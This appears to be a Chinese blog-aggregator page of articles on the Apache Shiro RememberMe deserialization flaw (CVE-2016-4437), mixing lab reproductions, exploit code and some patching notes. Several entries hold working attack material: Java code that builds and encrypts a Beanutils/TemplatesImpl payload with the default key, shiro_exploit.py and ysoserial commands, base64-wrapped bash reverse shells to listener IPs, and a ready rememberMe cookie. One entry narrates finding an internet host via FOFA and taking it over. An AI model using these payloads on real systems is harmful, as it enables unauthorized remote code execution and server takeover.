-
2021-06-29 15:38:16
shiro反序列化生成KEY
简介
Shiro反序列化时候的第一步需要猜KEY,此番操作就像遍历弱口令似的。
生成KEY的代码
//shengcheng.java import org.apache.shiro.codec.Base64; import javax.crypto.KeyGenerator; import javax.crypto.SecretKey; import java.security.NoSuchAlgorithmException; public class poc { public static void main(String[] args) { for(int i=0; i<=5000; i++){ //5000代表生成5000个 KeyGenerator keygen = null; try { keygen = KeyGenerator.getInstance("AES"); } catch (NoSuchAlgorithmException e) { e.printStackTrace(); } SecretKey deskey = keygen.generateKey(); System.out.println(Base64.encodeToString(deskey.getEncoded())); } } }
//pom.xml <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>com.kite</groupId> <artifactId>shiro</artifactId> <packaging>war</packaging> <version>0.0.1-SNAPSHOT</version> <name>shiro Maven Webapp</name> <url>http://maven.apache.org</url> <properties> <shiro.version>1.2.4</shiro.version> </properties> <dependencies> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>4.10</version> <scope>test</scope> </dependency> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-core</artifactId> <version>${shiro.version}</version> </dependency> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-web</artifactId> <version>${shiro.version}</version> </dependency> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-ehcache</artifactId> <version>${shiro.version}</version> </dependency> <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> <version>3.0.1</version> </dependency> </dependencies> <build> <finalName>shiro</finalName> <plugins> <!-- jetty插件 --> <plugin> <groupId>org.mortbay.jetty</groupId> <artifactId>maven-jetty-plugin</artifactId> <version>6.1.5</version> <configuration> <webAppSourceDirectory>src/main/webapp</webAppSourceDirectory> <scanIntervalSeconds>3</scanIntervalSeconds> <contextPath>/</contextPath> <connectors> <connector implementation="org.mortbay.jetty.nio.SelectChannelConnector"> <port>80</port> </connector> </connectors> </configuration> </plugin> </plugins> </build> </project>
使用方法
将两个文件放在项目目录中,然后使用Maven进行下载所需包,最后执行shengcheng.java代码即可。
更多相关内容 -
基于“Apache Shiro反序列化”漏洞谈网络安全问题防范.pdf
2021-09-19 23:03:14基于“Apache Shiro反序列化”漏洞谈网络安全问题防范.pdf -
Apache shiro反序列化(CVE-2016-4437)复现
2022-07-09 17:08:37序列化-->AES加密-->base64编码由于Shiro本身含有一个预设的AES密钥Base64.decode("KPHblxk5D2deZilxcaaaA=="),每个人都能够通过源代码拿到该密钥,因此攻击者可以构造一个恶意的对象,对其进行序列化并用该密钥...一、原理分析
Shiro提供了记住我(RememberMe)的功能,比如访问淘宝等网站时,关闭了浏览器下次再打开时还是能够记住上次访问过的用户,下次访问时无需再登录即可访问
Shiro会对cookie中的Remember me字段进行相关处理:序列化-->AES加密-->base64编码
由于Shiro本身含有一个预设的AES密钥Base64.decode("KPHblxk5D2deZilxcaaaA=="),每个人都能够通过源代码拿到该密钥,因此攻击者可以构造一个恶意的对象,对其进行序列化并用该密钥进行加密,base64编码,最后作为cookie中的Remember me字段发送。Shiro得到该Remember me字段后进行解码解密并且反序列化,进而导致任意命令执行
影响版本:Apache Shiro <= 1.2.4
二、环境准备
1、https://vulfocus.cn/平台搜索:shiro-cve_2016_4437,启动环境
2、一台公网服务器(没有的可以自己找环境搭建一个本地的环境)
3、利用脚本及ysoserial.jar下载地址:https://github.com/insightglacier/Shiro_exploit,脚本中的所有sleep都把他注释掉,不然可能会很慢。
三、漏洞复现
1、访问环境
2、用默认root账号密码登录,记得勾选上Remember Me
3、可以先用脚本测试下是否存在漏洞,脚本中也列出了比较多的key,可以测试出是采用了哪个key
python3 shiro_exploit.py -u http://123.58.224.8:42716
最终测试出,存在该漏洞,采用的key是 kPH+bIxk5D2deZiIxcaaaA==
又到了令人兴奋的利用环节了
先启动监听
再打开一个新的shell窗口,执行:
python3 shiro_exploit.py -t 3 -u http://123.58.224.8:30771/ -p "bash -c {echo,YmFzaCAt ************************************************JjE=}|{base64,-d}|{bash,-i}"
其中-u后面跟的是目标地址,-p后面是bash反弹shell的一种base64加密后的写法,里面echo后面的那串base64字符就是bash -i >& /dev/tcp/192.168.137.120/8888 0>&1经过base64加密后的
执行后过会儿就可以看到shell反弹过来了
四、参考链接
1、https://blog.csdn.net/weixin_42019588/article/details/113395928
2、https://www.freebuf.com/vuls/284529.html
3、https://zhuanlan.zhihu.com/p/389768500
-
Apache shiro 反序列化及利用链
2022-04-27 20:30:45反序列化 decrypt 解密 函数需要通过key 解密 密钥值是固定的 触发反序列化流程:读取cookie -> base64解码 -> AES解密 -> 反序列化 DNS可以出网,使用dnslog进行攻击 结合Dnslog与URLDNS...convertBytestoPrincipals 解密 --> 反序列化
decrypt 解密 函数需要通过key 解密
密钥值是固定的
触发反序列化流程:读取cookie -> base64解码 -> AES解密 -> 反序列化
DNS可以出网,使用dnslog进行攻击
结合Dnslog与URLDNS方法有一个前提是DNS能出网。那么在不出网的情况下就需要找一个替代的方案了。结合SQL盲注的思路,可以考虑执行如下代码结合时间延迟进行判断,若系统是linux系统,则睡眠10s同理,可以考虑结合触发Java异常进判断,若系统返回对应的报错系统,或者返回通用的报错提示,说明当前的key和gadget组合是成功的:结合CookieRememberMeManaer
shiro提供了记住我(RememberMe)的功能,关闭了浏览器下次再打开时还是能保存身份信息,使得无需再登录即可访问。
无赖调用链:
Commons-Beanutils 提供PropertyUtils getProperty 方法 使用者可以调用任意javabean对象里的getter方法。
public class Person { private String name; private int age; public Person(String name, int age) { this.name = name; this.age = age; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge(){ return age; } public void setAge(int age){ this.age = age; } }
getter方法的利用链流程
PropertyUtils类的 getProperty()方法 --> 调用另一个反射对象的getProperty()方法 --> PropertyUtilsBean类的getProperty()方法 --> 又调用了一个getNestedProperty()方法 -->
getSimpleProperty 方法 --> getReadMethod实现
CC3链:
TemplatesImpl类里调用getOutputProperties()方法 这个方法调用了newTransformer(),他这个格式是符合JavaBean的格式,如果我们对一个TemplatesImpl对象调用这个getOutputProperties()方法,实际上也可以进行代码执行。这就找到了一个在CB下面的代码执行点,当o1是一个TemplatesImpl对 象,而property的值为outputProperties时,将会自动调用getter,也就是TemplatesImpl#getOutputProperties()方法,触发代码执行
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.PropertyUtils; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; public class BeanTest { public static void main(String[] args) throws Exception{ Person person = new Person("Le1a",20); //System.out.println(PropertyUtils.getProperty(person,"age")); TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field nameFiled = tc.getDeclaredField("_name"); nameFiled.setAccessible(true); nameFiled.set(templates,"aaaa"); Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl()); byte[] code = Files.readAllBytes(Paths.get("D:\\Cc\\IntelliJ IDEA2021.1\\Code\\out\\production\\Code\\ClassLoader\\Hacker.class")); byte[][] codes = {code}; bytecodesField.set(templates,codes); PropertyUtils.getProperty(templates,"outputProperties"); } }
以上当getProperty 的属性可控时就可以任意代码执行,通过找上层看谁调用getProperty方法尝试控制属性值
利用链:
getProperty()的上层,找到了BeanComparator# compare() -> compare()调用了这个getProperty(),这里是可控的 -> PriorityQueue#siftDownUsingComparator 调用了getProperty() ->PriorityQueue#siftDown() 调用了siftDownUsingComparator() ->heapify()调用了 siftDown() ->最后PriorityQueue#readObject()又调用了heapify(),并且对queue数组进行循环反序列化
问题:
Shiro中,它的commons-beanutils虽然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于 commons-collections,但反序列化利用的时候需要依赖于commons-collections。
既然此时没有 ComparableComparator ,我们需要找到一个类来替换,它满足下面这几个条件:
实现 java.util.Comparator 接口
实现 java.io.Serializable 接口
Java、shiro或commons-beanutils自带,且兼容性强
找到一个CaseInsensitiveComparator,这个CaseInsensitiveComparator类java.lang.String类下的一个内部私有类,其实现了Comparator和Serializable,且位于Java的核心代码中.
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator; import org.apache.shiro.crypto.AesCipherService; import org.apache.shiro.util.ByteSource; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.PriorityQueue; public class CBAttck { public static void main(String[] args) throws Exception{ byte[] code = Files.readAllBytes(Paths.get("D:\\Cc\\IntelliJ IDEA 2021.1\\Code\\out\\production\\Code\\ClassLoader\\Hacker.class")); byte[][] codes = {code};//恶意类 //CC3 TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes",codes); setFieldValue(obj, "_name", "aaaa"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); //CB BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER); final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator); // stub data for replacement later queue.add("1"); queue.add("1"); setFieldValue(comparator, "property", "outputProperties"); setFieldValue(queue, "queue", new Object[]{obj, obj}); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close(); byte[] payload= barr.toByteArray(); AesCipherService aes = new AesCipherService(); byte [] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); ByteSource finalpayload = aes.encrypt(payload,key); System.out.println(finalpayload.toString()); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }
bash -c {echo,Base64编码}|{base64,-d}|{bash,-i}//Base64编码为bash -i >& /dev/tcp/IP/端口 0>&1 的base64编码
-
Shiro_exploit:Apache Shiro反序列化进攻检测与利用工具
2021-03-21 08:36:53Shiro_exploit用于检测与利用Apache Shiro反序列化漏洞脚本。可以帮助企业发现自身安全漏洞。 该脚本通过网络收集到的22个键,利用ysererial工具中的URLDNS这个Gadget,并结合dnslog平台实现入侵检测。突破利用则... -
061-Apache Shiro 反序列化之殇.pdf
2021-09-20 17:35:11061-Apache Shiro 反序列化之殇.pdf -
Apache Shiro反序列化远程代码执行复现
2020-06-28 17:06:091、寻找目标 首先FOFA找一个环境,检测工具检测一下 发现目标,开干! 2、开启监听 首先在vps运行nc 监听一个端口 nc -lvp 666 列出需要使用的反弹指令 bash -i >&......1、寻找目标
首先FOFA找一个环境,检测工具检测一下
发现目标,开干!
2、开启监听
首先在vps运行nc 监听一个端口
nc -lvp 666
列出需要使用的反弹指令
bash -i >& /dev/tcp/129.204.xxx.xxx/666 0>&1
将指令放到http://www.jackson-t.ca/runtime-exec-payloads.html转换成加密后的指令
将指令合成为一个java的监听指令
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 '加密后的指令' java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaxxxxxxxxxxxxxxxxxxxxxxxxxxxxkuMjA0LjExMy4yMDIvNjY2IDA+JjE=}|{base64,-d}|{bash,-i}'
3、利用poc生成cookie
我不是一个合格的网安人员。。
python2 -m pip install pycryptodome
安装这个库就可以了。
然后进入这个库的目录:Lib\site-packages
找到 crypto 这个库,更改为首字母大写 Crypto 即可
得到cookie
rememberMe=3Wb6O2eQTCeimDMS1uEUQANKouApX2EvmE7yZfXgnZWN+pxrZ4jH+CTcjRPRyuMXFt1NbRzH+IZhT7yoiK87ptD2HcSqqGKw50bEeDWdKPV7UDix82FQx5SQpYpVipyXk6LNO/BMFtMzvEsdjB6b9hMsHqz8/WVPWtT6V3J1Iq8oXm1MBfLSe7y8zd4BtM1vru+FyUSVdkw5Bv2pkB7o0LrUkhtbM58PVlxFgMBtU2nE0fvClfeX5ay0WINJjeGC8KQzMP0SFsWnnAwcJG513sPd796ppfEI8+esJ57yfRpiPXmlz9ZFMx66tvsVU9Enq1dCXOLNQPWkz+uLf5VDOO80nV6R0f+7+EXY/egY7w+hWNKJwDngKXvuyINGhhOVOrEzneSfCtvD8tOadPcU7A==
抓包进行发送
弹回来了。
机器到手,溜了溜了。。。
4、小记
crontab从文件导入和导出到文件
#导入 [root@localhost ~]# crontab filename #导出 [root@localhost ~]# crontab -l >filename
-
shiro 反序列化 _CVE-2016-4437
2021-12-28 14:08:091.环境搭建 实验靶机:CentOS7(192.168.2.102) 攻击机:Kali-Linux(192.168.2...下载shiro反序列化工具: Release ShiroExploit v2.3 · feihong-cs/ShiroExploit-Deprecated (github.com) 填入靶机地址: 对kal -
Apache Shiro反序列化(CVE-2016-4437)漏洞复现
2022-07-26 18:29:18使用Java序列化—>使用密钥进行AES加密—>Base64加密—>得到加密后的RememberMe内容同时在识别用户身份的时候,需要对RememberMe加密内容—>Base64解密—>使用密钥进行AES解密—>Java反序列化问题出在AES加密的密钥... -
apache shiro 反序列化漏洞解决方案
2022-04-14 09:18:52目录 一、反序列化漏洞介绍 ...反序列化漏洞的产生原理,即黑客通过构造恶意的序列化数据,从而控制应用在反序列化过程中需要调用的类方法,最终实现任意方法调用。如果在这些方法中有命令执行的方法,黑 -
Apache Shiro反序列化高危漏洞升级,结果导致org.apache.shiro.crypto.CryptoException: Unable to acquire...
2020-12-03 11:19:35突然接到一个通知,关于Shiro RememberMe 1.2.4反序列化高危漏洞加固整改的通知,要求对一个老系统进行整改。这个漏洞的危害以及影响范围是什么呢?因为Shiro默认使用“CookieRememberMeManager”,其在处理cookie的... -
Apache Shiro 反序列化(CVE-2016-4437)复现
2020-08-03 18:02:580x01简介 这个漏洞属于java反序列化漏洞的一种,shiro是java的一个开发框架执行身份验证...Apache Shiro框架提供了记住我(RememberMe)的功能,关闭浏览器再次访问时无需再登录即可访问。shiro默认使用CookieRemember -
Apache Shiro 反序列化RCE漏洞
2020-12-23 03:39:12漏洞介绍漏洞类型 :JAVA反序列化(RCE)影响版本 :Apache Shiro 1.2.4及其之前版本漏洞评级 :高危漏洞分析 #:下载漏洞环境:git clone https://github.com/apache/shiro.gitgit checkout shiro-root-1.2.4工具下载... -
【漏洞复现】Apache Shiro 反序列化漏洞
2021-12-31 16:49:08Apache Shiro 反序列化漏洞一、简介二、环境三、漏洞原理四、AES秘钥1、判断AES秘钥五、...shiro漏洞已经曝光很久了,一直没有整理思路与详细步骤,最近在学习java的反序列化,复现该漏洞来方便之后的学习 一、简介 -
Apache-Shiro反序列化1
2022-08-03 17:02:10Apache-Shiro反序列化1 -
Apache Shiro反序列化远程代码执行 复现 环境搭建
2020-05-14 10:14:02docker pull medicean/vulapps:s_shiro_1 docker run -d -p 5001:8080 medicean/vulapps:s_shiro_1 yum install python3-devel pip3 install pycryptodome shiro.py # pip install pycrypto import sys ... -
Apache Shiro RememberMe 1.2.4 反序列化过程命令执行漏洞【原理扫描】
2022-04-29 19:44:16文章目录 一、分析定位 1. 漏洞描述 2. 项目引发漏洞简述 二、 若依系统 2.1. 版本升级 2.2. 配置文件 2.3. 推荐做法 ...3.1. shiro版本升级 ...shiro漏洞补充: ...https://issues.apache.org/jira -
【shiro】Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437 )
2022-06-30 15:26:39介绍shiro反序列化漏洞的原理、流程和综合利用工具的使用。 -
Apache Shiro 反序列化漏洞靶场
2022-02-02 16:28:53Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。 2.漏洞简单... -
Shiro-EXP:Apache Shiro 反序列化漏洞检测与利用工具,一键注入内存马
2021-05-26 21:43:06Shiro exp使用手册Shiro rememberMe反序列化漏洞漏洞原理Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie,服务端对rememberMe的cookie值先base64解码然后AES解密... -
Apache Shiro反序列化攻击技术剖析与防护研判分析
2022-08-11 23:24:50一、框架介绍 Apache Shiro是一个强大且易用的Java安全框架(见图1),执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的...cookie的值是对相关信息进过序列化,再进行AES加密,再使用base64编码之后形成的。 -
Apache Shiro 反序列化漏洞复现(CVE-20164437)
2022-03-31 09:39:40#Apache Shiro 反序列化漏洞(CVE-20164437)# 一、漏洞简介 ...反序列化 然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。 二、漏洞影响 影响版本 Apache Shiro <= -
shiro_attack:shiro反序列化进攻综合利用,包含(回显执行命令注入内存马)
2021-03-11 12:45:27shiro反序列化进攻综合利用项目基于javafx,利用shiro反序列化扩展进行回显命令执行以及注入类别内存马检出唯一密钥(SimplePrincipalCollection)cbc / gcm Tomcat / Springboot回显命令执行集成公用集合K1 / K2... -
shiro反序列化
2021-05-08 18:13:21shiro反序列化 首先呢,我们要了解shiro反序列化是什么。 Apache Shiro是一个Java安全框架,执行身份验证、授权、密码和会话管理。2016年,网络中曝光1.2.4以前的版本存在反序列化漏洞。 漏洞原理 Apache Shiro框架... -
Apache Shiro反序列化漏洞研究及解决方法
2020-04-02 15:56:13前言 一个阳光明媚的午休,我正惬意的喝着茶听着音乐,享受美好生活的时候,客户的QQ头像闪动...1,Shiro反序列化漏洞 2,提到了dnslog.cn平台 了解Shiro反序列化漏洞 参考官方的JIRA文档记录,https://issues.... -
Apache Shiro反序列化RCE漏洞
2020-10-09 22:16:10漏洞原因:因为shiro对cookie里的rememberme字段进行了反序列化,所以如果知道了shiro的编码方式,然后将恶意命令用它的编码方式进行编码并放在http头的cookie里,在shiro对提交的cookie的rememberme字段进行反序列... -
CVE-2016-4437 Apache Shiro反序列化命令执行漏洞复现
2021-04-05 18:40:23目录 1.漏洞概述 2.漏洞原理 3.影响版本 4.漏洞等级 5.漏洞复现 ...5.1 Vulhub搭建搭建漏洞环境 ...5.2 如何检测是否使用... Apache Shiro是一个Java安全框架,执行身份验证、授权、密码和会话管理。Shiro框架直观... -
[Java反序列化]Shiro反序列化学习(一)
2021-08-24 21:34:41学习的是**《Java安全漫谈 - 15.TemplatesImpl在Shiro中的利用》**,因为之前刚把TemplatesImpl动态加载字节码还有它的应用CC3给学了,所以学习一下这篇文章。P神主要的还是结合CC6这个通用链,来对1.2.4及其之前的...